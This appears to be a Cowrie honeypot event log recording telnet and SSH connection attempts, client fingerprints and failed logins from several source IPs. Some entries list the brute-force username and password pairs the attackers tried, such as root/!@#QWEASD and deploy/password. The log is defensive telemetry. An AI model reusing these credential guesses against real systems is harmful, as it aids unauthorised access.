{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54250,"dst_ip":"159.203.135.109","dst_port":23,"session":"463ffb78600f","protocol":"telnet","message":"New connection: 174.138.46.234:54250 (159.203.135.109:23) [session: 463ffb78600f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:14.216428Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54364,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc731816833","protocol":"telnet","message":"New connection: 174.138.46.234:54364 (159.203.135.109:23) [session: 9fc731816833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:14.619899Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":54388,"dst_ip":"159.203.135.109","dst_port":23,"session":"dedeb0e05ad8","protocol":"telnet","message":"New connection: 174.138.46.234:54388 (159.203.135.109:23) [session: dedeb0e05ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:14.714810Z"}
{"eventid":"cowrie.session.closed","duration":6.738566637039185,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:21.453227Z","src_ip":"174.138.46.234","session":"dedeb0e05ad8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.993897199630737,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:22.210220Z","src_ip":"174.138.46.234","session":"463ffb78600f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":40970,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb6e8eb5fa50","protocol":"ssh","message":"New connection: 59.17.95.129:40970 (10.17.0.5:22) [session: cb6e8eb5fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:31.789995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:31.794447Z","src_ip":"59.17.95.129","session":"cb6e8eb5fa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:31.992675Z","src_ip":"59.17.95.129","session":"cb6e8eb5fa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!@#QWEASD","message":"login attempt [root/!@#QWEASD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:32.820063Z","src_ip":"59.17.95.129","session":"cb6e8eb5fa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:34.021889Z","src_ip":"59.17.95.129","session":"cb6e8eb5fa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f24e8190fb6d","protocol":"telnet","message":"New connection: 174.138.46.234:60498 (159.203.135.109:23) [session: f24e8190fb6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:36.793181Z"}
{"eventid":"cowrie.session.closed","duration":7.079475164413452,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:43.872499Z","src_ip":"174.138.46.234","session":"f24e8190fb6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35476,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9f935d2ce6","protocol":"telnet","message":"New connection: 174.138.46.234:35476 (159.203.135.109:23) [session: ea9f935d2ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:48.501271Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36498,"dst_ip":"159.203.135.109","dst_port":23,"session":"091ffe1fd3a0","protocol":"telnet","message":"New connection: 174.138.46.234:36498 (159.203.135.109:23) [session: 091ffe1fd3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:52.213642Z"}
{"eventid":"cowrie.session.closed","duration":7.814112901687622,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:56.315300Z","src_ip":"174.138.46.234","session":"ea9f935d2ce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":33124,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cc9293b6e4e","protocol":"ssh","message":"New connection: 209.38.20.25:33124 (159.203.135.109:22) [session: 1cc9293b6e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:57.874852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:57.880398Z","src_ip":"209.38.20.25","session":"1cc9293b6e4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:58.091569Z","src_ip":"209.38.20.25","session":"1cc9293b6e4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"tester1234","message":"login attempt [test/tester1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:03:58.966564Z","src_ip":"209.38.20.25","session":"1cc9293b6e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.930723428726196,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:00.144280Z","src_ip":"174.138.46.234","session":"091ffe1fd3a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:00.181227Z","src_ip":"209.38.20.25","session":"1cc9293b6e4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.68481254577637,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:02.304588Z","src_ip":"174.138.46.234","session":"9fc731816833","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.168.24.186","src_port":3292,"dst_ip":"10.17.0.5","dst_port":22,"session":"7541196af6de","protocol":"ssh","message":"New connection: 180.168.24.186:3292 (10.17.0.5:22) [session: 7541196af6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:10.136262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:10.140787Z","src_ip":"180.168.24.186","session":"7541196af6de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:10.448710Z","src_ip":"180.168.24.186","session":"7541196af6de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qweasd123","message":"login attempt [admin/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:11.690932Z","src_ip":"180.168.24.186","session":"7541196af6de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:12.996854Z","src_ip":"180.168.24.186","session":"7541196af6de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":58478,"dst_ip":"10.17.0.5","dst_port":22,"session":"661c0dba64ff","protocol":"ssh","message":"New connection: 59.17.95.129:58478 (10.17.0.5:22) [session: 661c0dba64ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:25.415104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:25.421468Z","src_ip":"59.17.95.129","session":"661c0dba64ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:25.631960Z","src_ip":"59.17.95.129","session":"661c0dba64ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"TestUser","message":"login attempt [testuser/TestUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:26.463604Z","src_ip":"59.17.95.129","session":"661c0dba64ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:27.667387Z","src_ip":"59.17.95.129","session":"661c0dba64ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":46266,"dst_ip":"159.203.135.109","dst_port":22,"session":"208e22c507a3","protocol":"ssh","message":"New connection: 209.38.20.25:46266 (159.203.135.109:22) [session: 208e22c507a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:50.628491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:50.634098Z","src_ip":"209.38.20.25","session":"208e22c507a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:50.849900Z","src_ip":"209.38.20.25","session":"208e22c507a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:51.728824Z","src_ip":"209.38.20.25","session":"208e22c507a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:04:52.945238Z","src_ip":"209.38.20.25","session":"208e22c507a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":38066,"dst_ip":"159.203.135.109","dst_port":23,"session":"399474914f14","protocol":"telnet","message":"New connection: 207.180.228.157:38066 (159.203.135.109:23) [session: 399474914f14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:17.703594Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":36722,"dst_ip":"10.17.0.5","dst_port":22,"session":"438fdeab2ed3","protocol":"ssh","message":"New connection: 59.17.95.129:36722 (10.17.0.5:22) [session: 438fdeab2ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:17.776173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:17.781402Z","src_ip":"59.17.95.129","session":"438fdeab2ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:17.988406Z","src_ip":"59.17.95.129","session":"438fdeab2ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poi","message":"login attempt [root/poi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:18.847023Z","src_ip":"59.17.95.129","session":"438fdeab2ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:20.058259Z","src_ip":"59.17.95.129","session":"438fdeab2ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36356,"dst_ip":"159.203.135.109","dst_port":23,"session":"564f357ca29c","protocol":"telnet","message":"New connection: 174.138.46.234:36356 (159.203.135.109:23) [session: 564f357ca29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:34.243036Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36710,"dst_ip":"159.203.135.109","dst_port":23,"session":"492f68958a0d","protocol":"telnet","message":"New connection: 174.138.46.234:36710 (159.203.135.109:23) [session: 492f68958a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:35.609497Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36774,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6bb5ead507","protocol":"telnet","message":"New connection: 174.138.46.234:36774 (159.203.135.109:23) [session: dc6bb5ead507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:35.902000Z"}
{"eventid":"cowrie.session.closed","duration":5.9147374629974365,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:40.157668Z","src_ip":"174.138.46.234","session":"564f357ca29c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45356,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f2369fb31c","protocol":"telnet","message":"New connection: 207.180.228.157:45356 (159.203.135.109:23) [session: 44f2369fb31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:40.888392Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":45370,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d49219918c6","protocol":"telnet","message":"New connection: 207.180.228.157:45370 (159.203.135.109:23) [session: 3d49219918c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:41.069431Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":41144,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfab4d818b14","protocol":"ssh","message":"New connection: 209.38.20.25:41144 (159.203.135.109:22) [session: dfab4d818b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:42.664018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:42.669047Z","src_ip":"209.38.20.25","session":"dfab4d818b14","protocol":"ssh"}
